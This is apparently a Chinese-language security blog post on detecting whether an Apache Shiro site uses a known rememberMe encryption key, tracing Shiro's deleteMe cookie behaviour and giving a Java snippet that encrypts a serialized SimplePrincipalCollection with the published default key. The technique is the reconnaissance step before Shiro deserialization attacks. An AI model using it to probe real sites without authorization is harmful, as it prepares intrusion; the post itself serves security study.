Java Shiro SimplePrincipalCollection 探测密钥正确性

前言:作为了解shiro检测的笔记,这篇作为shiro框架探测key的另一种方法

对于shiro框架的探测,我们常见的有dns出网记录,还有请求报设置rememberMe=1这两种方法来进行探测是否为shiro框架,且是否存在可利用的key,看了一些其他的文章,发现还有一种方法也同样能够进行探测可利用的key

基于SimplePrincipalCollection检测key是否正确

这里我们可以看到PrincipalCollection这个对象是返回的对象

继续跟到convertBytesToPrincipals(bytes, subjectContext);,可以看到就是对我们的rememberMe的数据来进行解密的操作

这里的decrypt方法就是对我们传入的rememberMe的数据来进行解密操作,deserialize(bytes)则是进行反序列化的操作

为什么返回包中会存在deleteMe=1

原因是我们构造了rememberMe=1来进行发送,导致返回包中出现了deleteMe=1,那么原因是什么呢?

先来看下getRememberedPrincipals方法,可以看到这里会进行捕获异常,当RuntimeException捕获到之后则会进行onRememberedPrincipalFailure方法的调用

    public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        PrincipalCollection principals = null;
        try {
            byte[] bytes = getRememberedSerializedIdentity(subjectContext);
            //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
            if (bytes != null && bytes.length > 0) {
                principals = convertBytesToPrincipals(bytes, subjectContext);
            }
        } catch (RuntimeException re) {
            principals = onRememberedPrincipalFailure(re, subjectContext);
        }

        return principals;
    }

你从onRememberdPrincipalFailure方法一直跟进去就会发现removeFrom方法,那么也就是如果remember字段的值再传入进行解密数据和反序列化数据,如果相关操作失败了的话则会触发下面这段返回包中带deleteMe的包

那么这里就有一个方法能够来进行验证序列化数据解密的时候密钥是否为正确

因为这里的getRememberedPrincipals这个方法如果在密钥正确并且反序列化成功且返回的是PrincipalCollection对象的话,那么就不会触发异常,也就是不会带上deleteMe的包,所以需要找一个PrincipalCollection类来进行序列化发送,如果密钥对的话则不会带上deleteMe,实现类有如下

最后的测试代码为如下即可:

public class SimplePrincipalCollectionTest {
    @Test
    public void test01() throws IOException, NotFoundException, CannotCompileException {
        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(simplePrincipalCollection);
        oos.close();
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.println(ciphertext.toString());
    }
}

key错误的时候

key正确的时候

posted @ 2021-08-16 21:56  zpchcbd  阅读(1650)  评论(0编辑  收藏  举报